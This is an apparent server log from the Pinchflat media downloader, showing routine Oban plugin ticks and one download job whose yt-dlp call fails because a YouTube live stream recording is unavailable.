[info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:08:45.454 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:09:00.663 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:09:15.456 [info] {"source":"oban","duration":1127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:09:45.458 [info] {"source":"oban","duration":1269,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:10:00.665 [info] {"source":"oban","duration":1014,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:10:15.460 [info] {"source":"oban","duration":1190,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:10:45.462 [info] {"source":"oban","duration":1079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:11:00.666 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:11:15.464 [info] {"source":"oban","duration":1005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:11:45.466 [info] {"source":"oban","duration":1150,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:12:00.667 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:12:15.468 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:12:45.470 [info] {"source":"oban","duration":1054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:13:00.668 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:13:15.472 [info] {"source":"oban","duration":1256,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:13:45.474 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:14:00.669 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:14:15.476 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:14:45.478 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:15:00.670 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:15:15.480 [info] {"source":"oban","duration":1334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:15:45.482 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:16:00.671 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:16:15.484 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:16:45.486 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:17:00.672 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:17:15.488 [info] {"source":"oban","duration":1492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:17:45.490 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:18:00.673 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:18:15.492 [info] {"source":"oban","duration":1494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:18:45.494 [info] {"source":"oban","duration":1599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:19:00.674 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:19:15.496 [info] {"source":"oban","duration":1356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:19:45.498 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:20:00.675 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:20:15.500 [info] {"source":"oban","duration":1376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:20:45.502 [info] {"source":"oban","duration":1656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:21:00.676 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:21:15.505 [info] {"source":"oban","duration":1188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:21:45.507 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:22:00.677 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:22:15.509 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:22:45.511 [info] {"source":"oban","duration":1542,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:23:00.678 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:23:15.513 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:23:45.515 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:24:00.679 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:24:15.517 [info] {"source":"oban","duration":1769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:24:45.520 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:25:00.680 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:25:15.522 [info] {"source":"oban","duration":1277,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:25:45.524 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:26:00.681 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:26:15.526 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:26:45.528 [info] {"source":"oban","duration":1084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:27:00.682 [info] {"source":"oban","duration":263,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:27:15.530 [info] {"source":"oban","duration":941,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:27:45.532 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:28:00.683 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:28:15.534 [info] {"source":"oban","duration":1000,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:28:45.536 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:29:00.684 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:29:15.538 [info] {"source":"oban","duration":1029,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:29:45.540 [info] {"source":"oban","duration":1142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:30:00.685 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:30:15.542 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:30:45.544 [info] {"source":"oban","duration":1109,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:31:00.686 [info] {"source":"oban","duration":244,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:31:15.546 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:31:45.548 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:32:00.687 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:32:15.550 [info] {"source":"oban","duration":1446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:32:45.552 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:33:00.688 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:33:15.554 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:33:45.556 [info] {"source":"oban","duration":1636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:34:00.689 [info] {"source":"oban","duration":506,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:34:15.559 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:34:45.561 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:35:00.691 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:35:15.563 [info] {"source":"oban","duration":1760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:35:45.566 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:36:00.692 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:36:15.568 [info] {"source":"oban","duration":1222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:36:45.570 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:37:00.693 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:37:15.572 [info] {"source":"oban","duration":1042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:37:45.574 [info] {"source":"oban","duration":1707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:38:00.694 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:38:15.576 [info] {"source":"oban","duration":1150,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:38:45.578 [info] {"source":"oban","duration":1109,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:39:00.695 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:39:15.580 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:39:45.582 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:40:00.696 [info] {"source":"oban","duration":227,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:40:15.584 [info] {"source":"oban","duration":1201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:40:45.586 [info] {"source":"oban","duration":1237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:41:00.697 [info] {"source":"oban","duration":492,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:41:15.588 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:41:45.590 [info] {"source":"oban","duration":1216,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:42:00.698 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:42:15.592 [info] {"source":"oban","duration":1173,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:42:45.594 [info] {"source":"oban","duration":1008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:43:00.699 [info] {"source":"oban","duration":437,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:43:15.596 [info] {"source":"oban","duration":1134,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:43:45.598 [info] {"source":"oban","duration":1030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:44:00.700 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:44:15.600 [info] {"source":"oban","duration":1180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:44:45.602 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:45:00.701 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:45:15.604 [info] {"source":"oban","duration":998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:45:45.606 [info] {"source":"oban","duration":1001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:46:00.702 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:46:15.608 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:46:45.610 [info] {"source":"oban","duration":1019,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:47:00.703 [info] {"source":"oban","duration":250,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:47:15.612 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:47:45.614 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:48:00.704 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:48:15.616 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:48:45.618 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:49:00.705 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:49:15.620 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:49:45.622 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:50:00.706 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:50:15.624 [info] {"source":"oban","duration":1763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:50:45.627 [info] {"source":"oban","duration":1204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:51:00.707 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:51:15.629 [info] {"source":"oban","duration":1247,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:51:45.631 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:52:00.708 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:52:15.633 [info] {"source":"oban","duration":1308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:52:45.635 [info] {"source":"oban","duration":1060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:53:00.709 [info] {"source":"oban","duration":289,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:53:15.637 [info] {"source":"oban","duration":1299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:53:45.639 [info] {"source":"oban","duration":1102,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:54:00.710 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:54:15.641 [info] {"source":"oban","duration":1404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:54:45.642 [info] {"source":"oban","duration":884,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:55:00.711 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:55:15.645 [info] {"source":"oban","duration":1319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:55:45.647 [info] {"source":"oban","duration":1050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:56:00.713 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:56:15.649 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:56:45.651 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:57:00.714 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:57:15.653 [info] {"source":"oban","duration":1473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:57:45.655 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:58:00.715 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:58:15.657 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:58:45.659 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:59:00.716 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:59:15.661 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:59:34.131 [info] {"args":{"id":89022},"id":2565,"meta":{},"system_time":1765472374130961579,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":19,"tags":["media_item","media_fetching","show_in_dashboard"]} 09:59:34.139 [debug] QUERY OK source="media_items" db=7.6ms idle=961.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89022] 09:59:34.139 [info] User scripts lifecyle file either not present or is empty. Skipping. 09:59:34.144 [debug] QUERY OK source="sources" db=3.8ms idle=969.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 09:59:34.146 [debug] QUERY OK source="media_profiles" db=2.4ms idle=974.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 09:59:34.150 [debug] QUERY OK source="media_items" db=3.1ms idle=33.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89022] 09:59:34.152 [debug] QUERY OK source="media_metadata" db=0.2ms idle=21.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [89022] 09:59:34.152 [debug] QUERY OK source="media_profiles" db=0.2ms idle=12.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 09:59:34.153 [debug] QUERY OK source="settings" db=0.2ms idle=9.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:59:34.154 [debug] QUERY OK source="settings" db=0.2ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:59:34.155 [debug] Running yt-dlp command for action: get_downloadable_status 09:59:34.156 [debug] QUERY OK source="settings" db=0.2ms idle=5.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:59:34.156 [debug] QUERY OK source="settings" db=0.2ms idle=4.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:59:34.157 [debug] QUERY OK source="settings" db=0.2ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:59:34.157 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=nu-0hFsz_PM --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/55/49/554969fa68353a51c49556e90af3932467d46ccfe1c76993e0d33ec95feef84a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 09:59:38.030 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=nu-0hFsz_PM --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/55/49/554969fa68353a51c49556e90af3932467d46ccfe1c76993e0d33ec95feef84a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] nu-0hFsz_PM: This live stream recording is not available. 09:59:38.031 [error] yt-dlp download error for media item #89022: "ERROR: [youtube] nu-0hFsz_PM: This live stream recording is not available.\n" 09:59:38.132 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":89022},"id":2565,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":3900708,"event":"job:exception","queue_time":663388,"attempt":19,"tags":["media_item","media_fetching","show_in_dashboard"]} 09:59:45.663 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:00:00.717 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:00:15.665 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:00:45.667 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:01:00.718 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:01:15.669 [info] {"source":"oban","duration":1164,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:01:45.671 [info] {"source":"oban","duration":1173,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:02:00.719 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:02:15.673 [info] {"source":"oban","duration":1124,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:02:45.675 [info] {"source":"oban","duration":1053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:03:00.720 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:03:15.677 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:03:45.679 [info] {"source":"oban","duration":1065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:04:00.721 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:04:15.681 [info] {"source":"oban","duration":1218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:04:45.683 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:05:00.722 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:05:15.685 [info] {"source":"oban","duration":1223,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:05:45.687 [info] {"source":"oban","duration":1399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:06:00.723 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:06:15.689 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:06:45.691 [info] 